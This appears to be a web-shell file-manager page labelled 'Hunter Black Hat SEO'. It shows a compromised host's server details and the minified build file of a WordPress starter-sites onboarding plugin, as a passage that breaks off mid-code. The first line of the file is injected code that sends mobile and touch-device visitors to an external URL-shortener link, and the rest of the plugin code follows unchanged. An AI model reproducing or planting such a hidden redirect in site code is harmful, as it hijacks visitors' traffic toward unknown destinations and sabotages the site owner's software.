Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/bleje.net/wp-content/plugins/athemes-starter-sites/v2/onboarding/build/index.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
(()=>{var e,t,s={5:(e,t,s)=>{"use strict";s.d(t,{A:()=>r});const r="undefined"!=typeof atssOnboarding?atssOnboarding?.themeName:""},87:e=>{"use strict";e.exports=window.wp.element},111:(e,t,s)=>{"use strict";s.d(t,{A:()=>z});var r=s(87),a=s(723),n=s(427),i=s(573),o=s(790),d=(0,o.jsx)(i.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,o.jsx)(i.Path,{d:"M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z"})});const l=function({label:e,options:t=[],selected:s,default:r,onChange:a}){const i=s??r;return(0,o.jsxs)("div",{className:"atss-onboarding-wizard__radio-card-control",role:"radiogroup","aria-labelledby":e?"radio-card-label":void 0,children:[e&&(0,o.jsx)("span",{id:"radio-card-label",className:"atss-onboarding-wizard__radio-card-label components-base-control__label",children:e}),(0,o.jsx)("div",{className:"atss-onboarding-wizard__radio-card-options",children:t.map(e=>{const t=i===e.value;return(0,o.jsxs)("button",{type:"button",className:"atss-onboarding-wizard__radio-card atss-form-field flex items-center gap-sm "+(t?"is-selected":""),onClick:()=>a(e.value),role:"radio","aria-checked":t,children:[e.icon&&(0,o.jsx)("span",{className:"atss-onboarding-wizard__radio-card-icon flex align-center",children:e.icon}),(0,o.jsx)("span",{className:"atss-onboarding-wizard__radio-card-text text-sm",children:e.label}),(0,o.jsx)("span",{className:"atss-onboarding-wizard__radio-card-indicator",children:t?(0,o.jsx)(n.Icon,{icon:d}):(0,o.jsx)("span",{className:"atss-onboarding-wizard__radio-card-circle"})})]},e.value)})})]})};var c=s(978),u=s(374),g=s(880),p=s(809),m=s(874);const h="undefined"!=typeof atssOnboarding&&"1"===atssOnboarding?.isElementor,_=(0,r.lazy)(()=>s.e(73).then(s.bind(s,73))),w=(0,r.lazy)(()=>s.e(807).then(s.bind(s,807))),b=(0,r.lazy)(()=>s.e(760).then(s.bind(s,760))),x=(0,r.lazy)(()=>s.e(297).then(s.bind(s,297))),M=(0,r.lazy)(()=>s.e(124).then(s.bind(s,986))),j=(0,r.lazy)(()=>s.e(453).then(s.bind(s,296))),y=(0,r.lazy)(()=>s.e(205).then(s.bind(s,205))),N={gettingStarted:{slug:"getting-started",title:(0,a.__)("Getting Started","athemes-starter-sites"),component:function({onContinue:e,navigationLoading:t,navigationError:i}){const{wizardData:d,siteTitle:_,setSiteTitle:w,builder:b,setBuilder:x}=(0,p.X)(),M=d["getting-started"]||{},[j,y]=(0,r.useState)(M.siteCategory||null),[N,f]=(0,r.useState)(b||M.builder||(h?"elementor":"gutenberg")),z=s(921).A,S=s(811).A,D={wizardTitle:m.A?(0,a.__)("Let’s Set Up Your Shop!","athemes-starter-sites"):(0,a.__)("Let’s Build Your Website!","athemes-starter-sites"),wizardDescription:m.A?(0,a.__)("Tell us a bit about your shop so we can recommend the perfect templates and tools to get you started.","athemes-starter-sites"):(0,a.__)("Tell us a bit about your site so we can recommend the perfect templates and tools to get you started.","athemes-starter-sites")};return(0,o.jsxs)("div",{className:"atss-onboarding-wizard__step atss-onboarding-wizard__step--getting-started",children:[(0,o.jsx)("main",{className:"atss-onboarding-wizard__step-body",children:(0,o.jsxs)("div",{className:"atss-onboarding-wizard__step-body-content",children:[(0,o.jsx)("div",{className:"atss-onboarding-wizard__emoji-circle",children:(0,o.jsx)("img",{src:s(853),alt:"Waving hand",width:"74",height:"74",className:"atss-onboarding-wizard__emoji"})}),(0,o.jsx)("h2",{className:"atss-onboarding-wizard__step-body-title text-xl font-medium",children:D.wizardTitle}),(0,o.jsx)("p",{className:"atss-onboarding-wizard__step-body-description text-sm text-secondary",children:D.wizardDescription}),(0,o.jsxs)("div",{className:"atss-onboarding-wizard__step-body-form atss-options-form flex flex-col gap-xxl",children:[(0,o.jsxs)("div",{className:"atss-form-row flex gap-xxl",children:[(0,o.jsx)("div",{className:"atss-form-field",children:(0,o.jsx)(n.TextControl,{label:(0,a.__)("Site Name","athemes-starter-sites"),value:_,placeholder:(0,a.__)("Name of your website","athemes-starter-sites"),onChange:e=>w(e),__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0})}),!m.A&&(0,o.jsx)("div",{className:"atss-form-field",children:(0,o.jsx)(c.A,{label:(0,a.__)("Industry","athemes-starter-sites"),placeholder:(0,a.__)("Select an industry ...","athemes-starter-sites"),options:g.A,value:j,onChange:({selectedItem:e})=>y(e),__next40pxDefaultSize:!0})})]}),(0,o.jsx)("div",{className:"atss-form-field",children:(0,o.jsx)(l,{label:(0,a.__)("Preferred builder","athemes-starter-sites"),options:[{value:"gutenberg",label:(0,a.__)("Block Editor","athemes-starter-sites"),icon:(0,o.jsx)("img",{src:z,alt:""})},{value:"elementor",label:(0,a.__)("Elementor","athemes-starter-sites"),icon:(0,o.jsx)("img",{src:S,alt:""})}],selected:N,onChange:e=>f(e),default:"gutenberg"})})]})]})}),(0,o.jsx)(u.wi,{showBack:!1,showSkip:!1,continueText:(0,a.__)("Save and Continue","athemes-starter-sites"),onContinue:()=>{x(N),e({siteCategory:j,builder:N})},continueDisabled:!_.trim(),continueLoading:t,continueError:i})]})}},design:{slug:"design",title:(0,a.__)("Design","athemes-starter-sites"),component:_},botigaDesign:{slug:"design",title:(0,a.__)("Template","athemes-starter-sites"),component:_},customize:{slug:"customize",title:(0,a.__)("Customize","athemes-starter-sites"),component:w},pages:{slug:"pages",title:(0,a.__)("Pages","athemes-starter-sites"),component:b,requiresStarter:!0},contact:{slug:"contact",title:(0,a.__)("Contact","athemes-starter-sites"),component:x,requiresStarter:!0},features:{slug:"features",title:(0,a.__)("Features","athemes-starter-sites"),component:M},optin:{slug:"optin",title:(0,a.__)("Optin","athemes-starter-sites"),component:j,hidden:!0},import:{slug:"import",title:(0,a.__)("Import","athemes-starter-sites"),component:y,hidden:!0}},f=e=>e.map((e,t)=>({id:t+1,...e})),z=m.A?f([N.gettingStarted,N.botigaDesign,N.pages,N.customize,N.features,N.contact,N.optin,N.import]):f([N.gettingStarted,N.design,N.customize,N.pages,N.contact,N.features,N.optin,N.import])},315:(e,t,s)=>{"use strict";s.d(t,{A:()=>l});var r=s(427),a=s(723),n=s(556),i=s.n(n),o=s(790);function d({isOpen:e,onResume:t,onRestart:s}){return e?(0,o.jsx)(r.Modal,{style:{width:"500px",padding:"18px 30px"},onRequestClose:t,__experimentalHideHeader:!0,children:(0,o.jsxs)("div",{className:"flex flex-col items-center text-align-center",children:[(0,o.jsx)("h2",{className:"font-medium text-lg",style:{margin:"0 0 10px"},children:(0,a.__)("Resume last session?","athemes-starter-sites")}),(0,o.jsx)("div",{className:"text-md text-tertiary",style:{maxWidth:"380px"},children:(0,a.__)("It appears that your previous website building session was interrupted. Would you like to pick up where you left off?","athemes-starter-sites")}),(0,o.jsxs)("div",{className:"flex gap-xxl items-center justify-center",style:{marginTop:"30px"},children:[(0,o.jsx)("button",{type:"button",className:"atss-onboarding-wizard__btn atss-onboarding-wizard__btn--continue text-lg",onClick:t,style:{height:"52px",padding:"15px 28px"},children:(0,a.__)("Resume","athemes-starter-sites")}),(0,o.jsx)("button",{type:"button",className:"atss-onboarding-wizard__btn atss-onboarding-wizard__btn--skip text-lg",style:{height:"52px",padding:"15px 20px"},onClick:s,children:(0,a.__)("Restart","athemes-starter-sites")})]})]})}):null}d.propTypes={isOpen:i().bool.isRequired,onResume:i().func.isRequired,onRestart:i().func.isRequired};const l=d},374:(e,t,s)=>{"use strict";s.d(t,{wi:()=>b,Mu:()=>M,Vx:()=>h,_C:()=>f,y$:()=>_});var r=s(87),a=s(723),n=s(556),i=s.n(n),o=s(460),d=s(427),l=s(790);function c({isOpen:e,onCancel:t,onConfirm:s}){return e?(0,l.jsx)(d.Modal,{style:{width:"500px",padding:"18px 30px"},onRequestClose:t,__experimentalHideHeader:!0,children:(0,l.jsxs)("div",{className:"flex flex-col items-center text-align-center",children:[(0,l.jsx)("h2",{className:"font-medium text-lg",style:{margin:"0 0 10px"},children:(0,a.__)("Are you sure you want to close?","athemes-starter-sites")}),(0,l.jsx)("div",{className:"text-md text-tertiary",style:{maxWidth:"320px"},children:(0,a.__)("You can access the setup wizard again from Theme Dashboard > Settings","athemes-starter-sites")}),(0,l.jsxs)("div",{className:"flex gap-xxl items-center justify-center",style:{marginTop:"30px"},children:[(0,l.jsx)("button",{type:"button",className:"atss-onboarding-wizard__btn atss-onboarding-wizard__btn--continue text-lg",onClick:t,style:{height:"52px",padding:"15px 28px"},children:(0,a.__)("No","athemes-starter-sites")}),(0,l.jsx)("button",{type:"button",className:"atss-onboarding-wizard__btn atss-onboarding-wizard__btn--skip text-lg",style:{height:"52px",padding:"15px 20px"},onClick:s,children:(0,a.__)("Yes","athemes-starter-sites")})]})]})}):null}c.propTypes={isOpen:i().bool.isRequired,onCancel:i().func.isRequired,onConfirm:i().func.isRequired};const u=c;var g=s(809),p=s(874);function m({steps:e,currentStep:t,completedSteps:s=[],onStepChange:n,onClose:i,isImporting:d=!1}){const{isImportComplete:c,wizardData:m}=(0,g.X)(),h=(s.includes(2)||t>2)&&!m?.design?.selectedSiteId,[_,w]=(0,r.useState)(!1),b={wizardTitle:p.A?(0,a.__)("Botiga Setup","athemes-starter-sites"):(0,a.__)("Site Wizard","athemes-starter-sites")},x=e=>1===e||t>=e||!!s.includes(e-1),M=(0,r.useMemo)(()=>(0,o.ZV)(),[]);return(0,l.jsxs)("nav",{className:"atss-onboarding-wizard__nav flex justify-between items-center",children:[(0,l.jsxs)("div",{className:"atss-onboarding-wizard__logo flex items-center gap-md",children:[M&&(0,l.jsx)("img",{src:M,alt:(0,a.__)("Theme Logo","athemes-starter-sites"),className:"atss-onboarding-wizard__logo-image"}),(0,l.jsx)("span",{className:"atss-onboarding-wizard__logo-title text-lg font-medium",children:b.wizardTitle})]}),(0,l.jsx)("div",{className:"atss-onboarding-wizard__steps flex items-center gap-xs",children:e.filter(e=>!(e.hidden||e.requiresStarter&&h)).map((e,r)=>{const a=s.includes(e.id),i=t===e.id,o=x(e.id),d=a&&t>e.id,c=r+1;return(0,l.jsxs)("button",{className:["atss-onboarding-wizard__step flex items-center gap-xs",i&&"is-active text-heading",d&&"is-completed text-secondary",!i&&!d&&"text-tertiary",!o&&"is-disabled"].filter(Boolean).join(" "),onClick:()=>{return t=e.id,void(x(t)&&n&&n(t));var t},disabled:!o,"aria-label":e.title,"aria-current":i?"step":void 0,children:[(0,l.jsx)("span",{className:"atss-onboarding-wizard__step-number text-xs font-semibold text-icon",children:d?(0,l.jsx)("span",{className:"atss-onboarding-wizard__step-checkmark",style:{lineHeight:"1"},children:(0,l.jsx)("svg",{width:"12",height:"10",viewBox:"0 0 12 10",fill:"none",xmlns:"http://www.w3.org/2000/svg",style:{maxWidth:"11px",verticalAlign:"middle"},children:(0,l.jsx)("path",{d:"M1 5L4.5 8.5L11 1",stroke:"white",strokeWidth:"2",strokeLinecap:"round",strokeLinejoin:"round"})})}):c}),(0,l.jsx)("span",{className:"atss-onboarding-wizard__step-label text-xs font-semibold",children:e.title})]},e.id)})}),(0,l.jsxs)("button",{type:"button",className:"atss-onboarding-wizard__close text-icon",onClick:()=>{c?i():w(!0)},"aria-label":(0,a.__)("Close wizard","athemes-starter-sites"),style:{visibility:d?"hidden":"visible"},children:[(0,l.jsx)("span",{className:"atss-onboarding-wizard__close-icon","aria-hidden":"true",children:"×"}),(0,l.jsx)("span",{className:"screen-reader-text",children:(0,a.__)("Close wizard","athemes-starter-sites")})]}),(0,l.jsx)(u,{isOpen:_,onCancel:()=>w(!1),onConfirm:()=>{w(!1),i()}})]})}m.propTypes={steps:i().arrayOf(i().shape({id:i().number.isRequired,slug:i().string.isRequired,title:i().string.isRequired,component:i().elementType.isRequired})).isRequired,currentStep:i().number.isRequired,completedSteps:i().arrayOf(i().number),onStepChange:i().func.isRequired,onClose:i().func.isRequired,isImporting:i().bool},m.defaultProps={completedSteps:[],isImporting:!1};const h=m,_=function({fill:e="#335EEA"}){return(0,l.jsxs)("div",{className:"atss-onboarding-wizard__loading",children:[p.A&&(0,l.jsx)("svg",{className:"atss-onboarding-wizard__spinner",viewBox:"0 0 33 33",fill:e,xmlns:"http://www.w3.org/2000/svg",children:(0,l.jsx)("path",{d:"M19.047 2.984c0 1.125-.625 2.063-1.5 2.625-.938.563-2.125.563-3 0-.938-.562-1.5-1.5-1.5-2.625 0-1.062.562-2 1.5-2.562.875-.563 2.062-.563 3 0 .875.562 1.5 1.5 1.5 2.562Zm0 26c0 1.125-.625 2.063-1.5 2.625-.938.563-2.125.563-3 0-.938-.562-1.5-1.5-1.5-2.625 0-1.062.562-2 1.5-2.562.875-.563 2.062-.563 3 0 .875.562 1.5 1.5 1.5 2.562Zm-16-10c-1.125 0-2.063-.562-2.625-1.5-.563-.875-.563-2.062 0-3 .562-.875 1.5-1.5 2.625-1.5 1.062 0 2 .625 2.562 1.5.563.938.563 2.125 0 3-.562.938-1.5 1.5-2.562 1.5Zm29-3c0 1.125-.625 2.063-1.5 2.625-.938.563-2.125.563-3 0-.938-.562-1.5-1.5-1.5-2.625 0-1.062.562-2 1.5-2.562.875-.563 2.062-.563 3 0 .875.562 1.5 1.5 1.5 2.562ZM8.922 27.297c-.75.812-1.813 1.062-2.875.812-1.063-.312-1.813-1.062-2.125-2.125-.25-1.062 0-2.125.812-2.875.75-.812 1.813-1.062 2.875-.812a3.279 3.279 0 0 1 2.125 2.125c.25 1.062 0 2.125-.812 2.875Zm0-18.375c-.75.812-1.813 1.062-2.875.812C4.984 9.422 4.234 8.61 3.922 7.61c-.25-1.062 0-2.125.812-2.937.688-.75 1.813-1.063 2.875-.813 1.063.25 1.938 1.063 2.188 2.125.25 1.063-.063 2.188-.875 2.938Zm14.187 18.375c-.812-.75-1.062-1.813-.812-2.875a3.279 3.279 0 0 1 2.125-2.125c1.062-.25 2.125 0 2.937.812.75.75 1 1.813.75 2.875-.312 1.063-1.062 1.813-2.125 2.125-1.062.25-2.125 0-2.875-.812Z"})}),!p.A&&(0,l.jsxs)("svg",{className:"atss-onboarding-wizard__spinner",viewBox:"0 0 36 36",fill:"none",children:[(0,l.jsx)("path",{d:"M34 18C34 15.8989 33.5861 13.8183 32.7821 11.8771C31.978 9.93586 30.7994 8.17203 29.3137 6.68629C27.828 5.20055 26.0641 4.022 24.1229 3.21793C22.1817 2.41385 20.1011 2 18 2C15.8988 2 13.8183 2.41385 11.8771 3.21793C9.93585 4.022 8.17203 5.20055 6.68629 6.68629C5.20055 8.17203 4.022 9.93586 3.21793 11.8771C2.41385 13.8183 2 15.8989 2 18",stroke:"url(#atss-spinner-gradient-0)",strokeWidth:"4",strokeLinecap:"round",strokeLinejoin:"round",strokeDasharray:"0.1 8"}),(0,l.jsx)("path",{d:"M3.21793 24.1229C4.022 26.0641 5.20055 27.828 6.68629 29.3137C8.17203 30.7994 9.93585 31.978 11.8771 32.7821C13.8183 33.5861 15.8988 34 18 34C20.1011 34 22.1817 33.5861 24.1229 32.7821C26.0641 31.978 27.828 30.7994 29.3137 29.3137C30.7994 27.828 31.978 26.0641 32.7821 24.1229",stroke:"url(#atss-spinner-gradient-1)",strokeWidth:"4",strokeLinecap:"round",strokeLinejoin:"round",strokeDasharray:"0.1 8"}),(0,l.jsxs)("defs",{children:[(0,l.jsxs)("linearGradient",{id:"atss-spinner-gradient-0",x1:"34",y1:"18",x2:"2",y2:"18",gradientUnits:"userSpaceOnUse",children:[(0,l.jsx)("stop",{stopColor:"currentColor"}),(0,l.jsx)("stop",{offset:"1",stopColor:"currentColor",stopOpacity:"0.5"})]}),(0,l.jsxs)("linearGradient",{id:"atss-spinner-gradient-1",x1:"33",y1:"23.5",x2:"3",y2:"24",gradientUnits:"userSpaceOnUse",children:[(0,l.jsx)("stop",{stopOpacity:"0",stopColor:"currentColor"}),(0,l.jsx)("stop",{offset:"1",stopColor:"currentColor",stopOpacity:"0.48"})]})]})]})]})};function w({showBack:e=!0,showSkip:t=!1,showContinue:s=!0,continueText:r=(0,a.__)("Continue","athemes-starter-sites"),onBack:n,onSkip:i,onContinue:o,continueDisabled:d=!1,continueLoading:c=!1,continueError:u=null}){const g=t||!e;return(0,l.jsxs)("footer",{className:"atss-onboarding-wizard__footer",children:[(0,l.jsx)("div",{className:"atss-onboarding-wizard__footer-left",children:e&&(0,l.jsxs)("button",{type:"button",className:"atss-onboarding-wizard__btn atss-onboarding-wizard__btn--back",onClick:n,children:[(0,l.jsx)("span",{className:"atss-onboarding-wizard__btn-arrow","aria-hidden":"true",children:(0,l.jsx)("svg",{width:"21",height:"12",viewBox:"0 0 21 12",fill:"none",xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",children:(0,l.jsx)("path",{d:"M0.421875 4.92188L4.92188 0.421875C5.37891 0 6.08203 0 6.53906 0.421875C6.96094 0.878906 6.96094 1.58203 6.53906 2.03906L3.9375 4.60547H19.2305C19.8633 4.60547 20.3555 5.09766 20.3555 5.73047C20.3555 6.36328 19.8633 6.85547 19.2305 6.85547H3.9375L6.53906 9.42188C6.96094 9.87891 6.96094 10.582 6.53906 11.0391C6.08203 11.4609 5.37891 11.4609 4.92188 11.0391L0.421875 6.53906C0 6.08203 0 5.37891 0.421875 4.92188Z",fill:"#A7AAAD"})})}),(0,l.jsx)("span",{className:"atss-onboarding-wizard__btn-text",children:(0,a.__)("Back","athemes-starter-sites")})]})}),(0,l.jsxs)("div",{className:"atss-onboarding-wizard__footer-right flex",children:[t&&(0,l.jsx)("button",{type:"button",className:"atss-onboarding-wizard__btn atss-onboarding-wizard__btn--skip"+(c?" atss-onboarding-wizard__btn--loading":""),onClick:i,disabled:c,"aria-live":"polite","aria-busy":c,children:c?(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)("span",{style:{opacity:0},children:(0,a.__)("Skip","athemes-starter-sites")}),(0,l.jsx)("span",{className:"atss-onboarding-wizard__btn-spinner",children:(0,l.jsx)(_,{})})]}):(0,a.__)("Skip","athemes-starter-sites")}),s&&(0,l.jsxs)("div",{className:"atss-onboarding-wizard__footer-continue-wrapper",children:[(0,l.jsx)("button",{type:"button",className:"atss-onboarding-wizard__btn atss-onboarding-wizard__btn--continue"+(c?" atss-onboarding-wizard__btn--loading":""),onClick:o,disabled:d||c,"aria-live":"polite","aria-busy":c,children:c?(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)("span",{style:{opacity:0},children:u?(0,a.__)("Retry","athemes-starter-sites"):r}),(0,l.jsx)("span",{className:"atss-onboarding-wizard__btn-spinner",children:(0,l.jsx)(_,{fill:"#FFF"})})]}):(0,l.jsxs)(l.Fragment,{children:[u?(0,a.__)("Retry","athemes-starter-sites"):r,g&&!u&&(0,l.jsx)("span",{className:"atss-onboarding-wizard__btn-arrow","aria-hidden":"true",children:(0,l.jsx)("svg",{width:"16",height:"11",viewBox:"0 0 16 11",fill:"none",xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",children:(0,l.jsx)("path",{d:"M10.4062 0.140625C10.582 4.51798e-07 10.8281 4.30284e-07 11.0039 0.140625L15.6445 4.78125C15.7852 4.95703 15.7852 5.20312 15.6445 5.37891L11.0039 10.0195C10.8281 10.1602 10.582 10.1602 10.4062 10.0195L9.70312 9.31641C9.5625 9.14063 9.5625 8.89453 9.73828 8.71875L12.5508 6.01172L0.421874 6.01172C0.210937 6.01172 -1.00946e-06 5.80078 -1.0279e-06 5.58985L-1.11396e-06 4.60547C-1.13547e-06 4.35938 0.210936 4.1836 0.421874 4.1836L12.5508 4.18359L9.73828 1.44141C9.5625 1.26563 9.5625 1.01953 9.70312 0.843751L10.4062 0.140625Z",fill:"white"})})})]})}),u&&(0,l.jsx)("p",{className:"atss-onboarding-wizard__footer-error-message",role:"alert","aria-live":"assertive",children:(0,a.__)("Connection issue. Click Retry to continue.","athemes-starter-sites")})]})]})]})}w.propTypes={showBack:i().bool,showSkip:i().bool,showContinue:i().bool,continueText:i().string,onBack:(e,t,s)=>{if(e.showBack&&!e[t])return new Error(`${t} is required when showBack is true in ${s}`)},onSkip:(e,t,s)=>{if(e.showSkip&&!e[t])return new Error(`${t} is required when showSkip is true in ${s}`)},onContinue:(e,t,s)=>{if(e.showContinue&&!e[t])return new Error(`${t} is required when showContinue is true in ${s}`)},continueDisabled:i().bool,continueLoading:i().bool,continueError:i().string},w.defaultProps={showBack:!0,showSkip:!1,showContinue:!0,continueText:(0,a.__)("Continue","athemes-starter-sites"),continueDisabled:!1,continueLoading:!1,continueError:null};const b=w;function x({label:e,onClick:t,className:s=""}){return(0,l.jsx)("button",{type:"button",className:`atss-onboarding-wizard__btn atss-onboarding-wizard__btn--skip w100 ${s}`,onClick:t,children:e})}x.propTypes={label:i().string.isRequired,onClick:i().func.isRequired,className:i().string},x.defaultProps={className:""};const M=x;var j=s(573),y=(0,l.jsx)(j.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,l.jsx)(j.Path,{d:"M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"})}),N=s(832);const f=function({id:e,title:t,url:s,thumbnail:n,isSelected:i=!1,onToggle:o,onClick:c}){const[u,g]=(0,r.useState)(!1),[p,m]=(0,r.useState)(!0),h=(0,r.useMemo)(()=>{if(!s)return s;const e=t?.toLowerCase().trim();return"my front page"!==e&&"home"!==e?s:(0,N.removeQueryArgs)(s,"page_id")},[s,t]),w=!h||u;return(0,l.jsxs)("div",{className:"atss-page-card "+(i?"atss-page-card--selected":""),onClick:()=>{c&&c()},style:{cursor:c?"pointer":"default"},children:[(0,l.jsxs)("div",{className:"atss-page-card__preview",children:[h&&!u&&p&&(0,l.jsx)("div",{className:"atss-page-card__loading",children:(0,l.jsx)(_,{})}),h&&!u&&(0,l.jsx)("iframe",{src:h,className:"atss-page-card__iframe",title:t,onLoad:()=>{m(!1)},onError:()=>{g(!0),m(!1)},sandbox:"allow-scripts allow-same-origin",loading:"lazy",style:{opacity:p?0:1}}),w&&n&&(0,l.jsx)("img",{src:n,alt:t,className:"atss-page-card__thumbnail",loading:"lazy"}),(0,l.jsx)("div",{className:"atss-page-card__dark-overlay"}),(0,l.jsx)("div",{className:"atss-page-card__hover-overlay",children:(0,l.jsx)(d.Icon,{icon:y})}),(0,l.jsx)("button",{type:"button",className:"atss-page-card__checkbox "+(i?"atss-page-card__checkbox--checked":""),onClick:t=>{t.stopPropagation(),o&&o(e)},role:"checkbox","aria-checked":i,"aria-label":i?(0,a.__)("Deselect page","athemes-starter-sites"):(0,a.__)("Select page","athemes-starter-sites"),children:i&&(0,l.jsx)("svg",{width:"12",height:"10",viewBox:"0 0 12 10",fill:"none",xmlns:"http://www.w3.org/2000/svg",className:"atss-page-card__checkmark",children:(0,l.jsx)("path",{d:"M1 5L4.5 8.5L11 1",stroke:"white",strokeWidth:"2",strokeLinecap:"round",strokeLinejoin:"round"})})})]}),(0,l.jsx)("div",{className:"atss-page-card__info",children:(0,l.jsx)("span",{className:"atss-page-card__title text-xs",children:t||(0,a.__)("Untitled Page","athemes-starter-sites")})})]})};s(315)},427:e=>{"use strict";e.exports=window.wp.components},460:(e,t,s)=>{"use strict";s.d(t,{DT:()=>n,ZV:()=>r,nS:()=>a});const r=()=>{if("undefined"==typeof atssOnboarding)return console.warn("atssOnboarding configuration not found"),null;const e=atssOnboarding?.themeName,t=atssOnboarding?.pluginUrl;return e&&t?`${t}v2/onboarding/src/assets/images/logo-${e.toLowerCase().includes("sydney")?"sydney":"botiga"}.svg`:null},a=(e,t="sydney")=>`https://athemes.com/themes-demo-content/full-height-ss/${(t||"sydney").toLowerCase().includes("sydney")?"sydney":"botiga"}/${e}.jpg`,n=e=>/^(([^<>()[\]\\.,;:\s@"]+(.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)},556:(e,t,s)=>{e.exports=s(694)()},573:e=>{"use strict";e.exports=window.wp.primitives},609:e=>{"use strict";e.exports=window.React},649:(e,t,s)=>{"use strict";s.d(t,{Cr:()=>o,ER:()=>i,Em:()=>a,WE:()=>d,lH:()=>c,nj:()=>r,tE:()=>n});const r=async(e,t={},{timeoutMs:s=6e4}={})=>{if("undefined"==typeof atssOnboarding)throw new Error("atssOnboarding is not defined. Make sure the script is properly enqueued.");const r=new AbortController,a=setTimeout(()=>r.abort(),s);try{const s=await fetch(atssOnboarding.ajaxUrl,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:new URLSearchParams({action:e,nonce:atssOnboarding.nonce,...t}),redirect:"manual",signal:r.signal});if("opaqueredirect"===s.type||s.status>=300&&s.status<400){const e=new Error(`Request was redirected away from admin-ajax.php (HTTP ${s.status}). A plugin installed during the import is redirecting to its own screen.`);throw e.name="RedirectError",e.status=s.status,e}if(!s.ok)throw new Error(`HTTP error! status: ${s.status}`);const a=await s.text();let n;try{n=JSON.parse(a)}catch(e){const t=new Error(`Invalid JSON response (HTTP ${s.status}): ${l(a)}`);throw t.name="SyntaxError",t.status=s.status,t}if(!n.success)throw new Error(n.data?.message||"Request failed");return n.data}catch(e){if("AbortError"===e.name){const e=new Error(`Request timed out after ${s/1e3} seconds`);throw e.name="AbortError",e}throw e}finally{clearTimeout(a)}},a=async(e=3)=>{for(let t=0;t<e;t++)try{return void await r("atss_import_ping",{},{timeoutMs:15e3})}catch(e){}},n=async()=>await r("atss_get_wizard_state"),i=async e=>await r("atss_save_wizard_state",{state:JSON.stringify(e)}),o=async()=>await r("atss_delete_wizard_state"),d=async(e,t)=>await r("atss_get_demo_pages",{demo_id:e,builder:t},{timeoutMs:12e4}),l=e=>String(e).replace(/<[^>]*>/g," ").replace(/https?:\/\/\S+/gi,"[url]").replace(/(?:[A-Za-z]:)?[\\/](?:[\w .@~-]+[\\/]){2,}[\w .@-]*/g,"[path]").replace(/\s+/g," ").trim().slice(0,160),c=async e=>{if("undefined"==typeof atssOnboarding)throw new Error("atssOnboarding is not defined. Make sure the script is properly enqueued.");const{action:t,log:s,priority:r,...a}=e;let n=12e4;"atss_import_contents"===t?n=18e4:("atss_import_widgets"===t||"atss_import_customizer"===t||"atss_import_plugin"===t)&&(n=12e4);const i=new AbortController,o=setTimeout(()=>i.abort(),n);try{const e=await fetch(atssOnboarding.ajaxUrl,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:new URLSearchParams({action:t,nonce:atssOnboarding.nonce,...a}),redirect:"manual",signal:i.signal});if(clearTimeout(o),"opaqueredirect"===e.type||e.status>=300&&e.status<400){const t=new Error(`Import request was redirected away from admin-ajax.php (HTTP ${e.status}). A plugin installed during the import is redirecting to its own screen.`);throw t.name="RedirectError",t.status=e.status,t}if(!e.ok){const t=new Error(`HTTP error! status: ${e.status}`);throw t.status=e.status,t}const s=await e.text();try{return JSON.parse(s)}catch(t){const r=new Error(`Invalid JSON response (HTTP ${e.status}): ${l(s)}`);throw r.name="SyntaxError",r.status=e.status,r}}catch(e){if(clearTimeout(o),"AbortError"===e.name){const e=new Error(`Request timed out after ${n/1e3} seconds`);throw e.name="AbortError",e}throw e}}},668:(e,t,s)=>{"use strict";s.d(t,{Cb:()=>m,ir:()=>p,jk:()=>g,v:()=>w});var r=s(649),a=s(5);const n=["onboarding_started","onboarding_step_viewed","onboarding_step_completed","onboarding_step_skipped","onboarding_design_selected","onboarding_pages_selected","onboarding_features_selected","onboarding_optin_completed","onboarding_import_started","onboarding_import_step_completed","onboarding_import_failed","onboarding_import_completed"],i=["product","builder","step","demo_id","has_selected_starter","selected_pages_count","selected_plugins_count","optin_checked","import_step","error_code","error_message","http_status","plugin_slug"],o="atss_onboarding_session_id",d=()=>window.crypto?.randomUUID?window.crypto.randomUUID():`atss-${Date.now()}-${Math.random().toString(36).substring(2,12)}`,l=()=>{try{const e=window.sessionStorage.getItem(o);if(e)return e;const t=d();return window.sessionStorage.setItem(o,t),t}catch(e){return d()}},c="atss_onboarding_tracked_events",u=()=>{try{return JSON.parse(window.sessionStorage.getItem(c)||"[]")}catch(e){return[]}},g=e=>u().includes(e),p=e=>{try{const t=u();if(t.includes(e))return;window.sessionStorage.setItem(c,JSON.stringify([...t,e]))}catch(e){}},m=()=>{try{window.sessionStorage.removeItem(o),window.sessionStorage.removeItem(c)}catch(e){}},h=()=>{const e=a.A.toLowerCase();return e.includes("botiga")?"botiga":e.includes("sydney")?"sydney":"unknown"},_=(e={})=>Object.keys(e).reduce((t,s)=>{if(!i.includes(s))return t;let r=e[s];return"error_message"===s&&(r=String(r).replace(/https?:\/\/\S+/gi,"[url]").replace(/(?:[A-Za-z]:)?[\\/](?:[\w .@~-]+[\\/]){2,}[\w 